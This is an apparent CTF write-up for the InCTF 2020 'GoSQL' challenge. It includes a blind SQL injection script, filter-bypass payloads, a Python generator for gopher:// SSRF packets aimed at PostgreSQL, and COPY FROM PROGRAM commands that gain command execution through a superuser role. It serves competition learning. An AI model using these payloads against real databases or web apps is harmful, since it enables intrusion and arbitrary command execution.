Rating:

TLDR : You need to demonstrate SQL injection + SSRF + Packet analysis + RCE to get the flag

When accessing http://35.224.182.105/ you are given PHP script

<?php
include("./config.php");

$db_connection = pg_connect($host. $dbname .$user. $pass);
if (!$db_connection) {
    die("Connection failed");
}


$name = $_GET['name'];
$column = $_GET['column'];

$blacklist  = "adm|min|\'|substr|mid|concat|chr|ord|ascii|left|right|for| |from|where|having|trim|pos|";
$blacklist .= "insert|usern|ame|-|\/|go_to|or|and|#|\.|>|<|~|!|like|between|reg|rep|load|file|glob|cast|out|0b|\*|pg|con|%|to|";
$blacklist .= "rev|0x|limit|decode|conv|hex|in|from|\^|union|select|sleep|if|coalesce|max|proc|exp|group|rand|floor";

if (preg_match("/$blacklist/i", $name)){
  die("Try Hard");
}

if (preg_match("/$blacklist/i", $column)){
  die("Try Hard");
}

$query = "select " . $column . " from inctf2020 where username = " . $name ;

$ret = pg_query($db_connection, $query);

if($ret){
while($row = pg_fetch_array($ret)){
if($row['username']=="admin"){
      header("Location:{$row['go_to']}");
}
  else{
      echo "<h4>You are not admin " . "</h4>";
  }

}
}else{
echo "<h4>Having a query problem" . "</h4><br>";
}

highlight_file(__FILE__);
?>

Bypass filter

From the code analysis, we know need to bypass the MONSTROUS filter.

We need to analyse two things seperately. The A column part and B string part SELECT (A) WHERE inctf2020 = (B)

A part

From the filter we know that we can't use *,username,go_to for our column, we could by pass this by using unicode

select U&"\0075sern\0061me" where ... and select "username" where ... are the same

B part

The filter also blocks the usage of single quotation '. So how could we craft string constant without '?

The answer is using dollar sign.

https://www.postgresql.org/docs/9.5/sql-syntax-lexical.html (See the documentation about dollar sign) and to concat strings we can use || sign

select ... from inctf2020 where username = $$ad$$||$$mi$$||$$n$$ and select ... from inctf2020 where username = 'admin' are the same

So here is our request column=U&"\0075sern\0061me",U&"g\006f_t\006f" and name=$$ad$$||$$mi$$||$$n$$ url encode it and send the request http://35.224.182.105/?column=U%26%22%5C0075sern%5C0061me%22%2CU%26%22g%5C006f_t%5C006f%22&name=$$ad$$||$$mi$$||$$n$$

PHP page with curl feature

Next you will be redirected to http://35.224.182.105/feel_the_gosql_series.php

Here you are able to enter url and the server will curl the url.

For example try http://example.com

You can try with other protocols as well such as file://, ftp://, php:// ,etc. But some of the protocols are blocked by backend php.

From the previous GoSQL challenges, the challenges used gopher:// for ssrf

And this time we could use the same technique too.

The things that is different is that the server is using postgres as backend.

So we need to craft postgres packet and then use it with gopher protocol.

A good blog post about how to craft packet is written by Spy3dr himself in https://tarun05blog.wordpress.com/2018/02/05/ssrf-through-gopher/. You need to read this to understand how gopher works in this challenge.

From the blog post we know that gopher exploit only works when database uses username without password. So we need to leak username

Leak username

So how do we leak username?

We could do this by using sql injection.

In this task, we are going to use blind sql injection to get the database username

In blind sql injection, LIKE or similar is used to leak things For example

select * from t where username LIKE 'A%'

So we need to be able to execute this command to leak username

select username,goto where username = case (user LIKE 'A%') then 'admin' else 'zzz' end

Things that we can do to convert above query:

  1. lpad and rpad could be used instead of LIKE (rpad(user, 2, 'x') = 'aa')
  2. Instead of using space we could use newline '\n'

So here is our query that we want

select username,goto from inctf2020 where username = lpad('admin',4+(case when ('te'=rpad(user,2,'x')) then 1 else 0 end),'x');

or

select U%26%22%5C0075sern%5C0061me%22%2CU%26%22g%5C006f_t%5C006f%22 where username = lpad($$ad$$||$$mi$$||$$n$$,4+(case when ($$te$$=rpad(user,2,$$x$$)) then 1 else 0 end),$$xx$$);

We could use the same technique to leak database name

Here is python script to leak username and database name

import requests
import string

def dbgetter():
    url = "http://35.224.182.105/"
    column = '''U&"\\0075sern\\0061me",U&"g\\006f_t\\006f"'''
    d = ""
    for i in range(20):
        for c in "'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_+@|{}":
            s = d + c
            s = "$$||$$".join(s)
            s = "$$" + s + "$$"
            name = "lpad($$ad$$||$$mi$$||$$n$$,4+(case when (" + s  +"=rpad(current_database()," + str(len(d)+1) + ",$$q$$)) then 1 else 0 end),$$q$$);"
            name = name.replace(" ", "\n")
            r = requests.get(url, params={
                "column": column,
                "name": name
            })
            success = "functionality" in r.text
            if success:
                d = d + c
        print(d)

def usernamegetter():
    url = "http://35.224.182.105/"
    column = '''U&"\\0075sern\\0061me",U&"g\\006f_t\\006f"'''
    d = ""
    for i in range(20):
        for c in "'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_+@|{}":
            s = d + c
            s = "$$||$$".join(s)
            s = "$$" + s + "$$"
            name = "lpad($$ad$$||$$mi$$||$$n$$,4+(case when (" + s  +"=rpad(user," + str(len(d)+1) + ",$$q$$)) then 1 else 0 end),$$q$$);"
            name = name.replace(" ", "\n")
            r = requests.get(url, params={
                "column": column,
                "name": name
            })
            success = "functionality" in r.text
            if success:
                d = d + c
        print(d)

if __name__ == "__main__":
    usernamegetter()
    dbgetter()

From here we know the username is honeysingh and database name is gosqlv3

SSRF

Read this blog post to craft gopher packet https://tarun05blog.wordpress.com/2018/02/05/ssrf-through-gopher/.

TL;DR

  1. Create postgres user without password
  2. Use tshark and record packet on localhost loopback interfrace
  3. On another console try to login to postgres from localhost psql -h localhost -U user
  4. Open pcap captured packets on wireshark
  5. You get the packets you want

Here is the python script to trigger ssrf

import binascii

def main():
    print("\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m")
    user = "honeysingh"
    database = "gosqlv3"
    user_encoded = user.encode("utf-8").hex()
    database_encoded = database.encode("utf-8").hex()

    # Connect
    dump  = "000000" + "00" + "00"
    dump += "03000075736572" + "00" + user_encoded + "00"
    dump += "6461746162617365" + "00" + database_encoded + "00"
    dump += "6170706c69636174696f6e5f6e616d65" + "00"
    dump += "7073716c" + "00"
    dump += "636c69656e745f656e636f64696e67" + "00"
    dump += "55544638" + "0000"
    d = list(dump)

    h = str(binascii.unhexlify(dump))
    d[6] = hex(len(dump)//2)[2]
    d[7] = hex(len(dump)//2)[3]
    dump = ''.join(d)
    h = str(binascii.unhexlify(dump))

    queue = input("\033[96m" +"\nQueue: " + "\033[0m")
    dump1  = "51000000" + "00"
    dump1 += queue.encode("utf-8").hex()
    dump1 += "00"
    d = list(dump1)
    if len(hex(len(dump1)//2-1)) == 4:
        d[8] = hex(len(dump1)//2-1)[2]
        d[9] = hex(len(dump1)//2-1)[3]
    elif len(hex(len(dump1)//2-1)) == 3:
        d[9] = hex(len(dump1)//2-1)[2]

    dump1 = ''.join(d)

    dump2 = "5800000004"

    print(dump)
    print(dump1)
    q = dump + dump1 + dump2
    a = [q[i:i+2] for i in range(0,len(q),2)]

    print("gopher://127.0.0.1:5432/_%" + "%".join(a))


if __name__ == "__main__":
    main()

It is an ugly script but it WORKS

For example we can find postgres version with this query SELECT VERSION();

The python script produces gopher://127.0.0.1:5432/_%00%00%00%55%00%03%00%00%75%73%65%72%00%68%6f%6e%65%79%73%69%6e%67%68%00%64%61%74%61%62%61%73%65%00%67%6f%73%71%6c%76%33%00%61%70%70%6c%69%63%61%74%69%6f%6e%5f%6e%61%6d%65%00%70%73%71%6c%00%63%6c%69%65%6e%74%5f%65%6e%63%6f%64%69%6e%67%00%55%54%46%38%00%00%51%00%00%00%16%53%45%4c%45%43%54%20%56%45%52%53%49%4f%4e%28%29%3b%00%58%00%00%00%04

Copy that gopher url to http://35.224.182.105/feel_the_gosql_series.php input

And you'll get postgresql version

You can execute other queries as well.

RCE

Next we need to be able to execute scripts

we can execute script by using COPY FROM PROGRAM command; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ls /';

But in order to be able to execute this command you need to be super user.

First we are curious what users / roles exist in postgres SELECT * FROM pg_catalog.pg_user

From the result we know that there is another username inctf.

and inctf user have superuser privilege

From here we could run shell command with this sql command

SET ROLE 'inctf'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ls / -lah'; SELECT * FROM cmd_exec;

After execute the query, you can find and executable /readFlag

execute that to get your flag inctf{Life_Without_Gopherus_not_having_postgreSQL_exploit_:(}

SpyD3rAug. 3, 2020, 6:08 a.m.

Nice!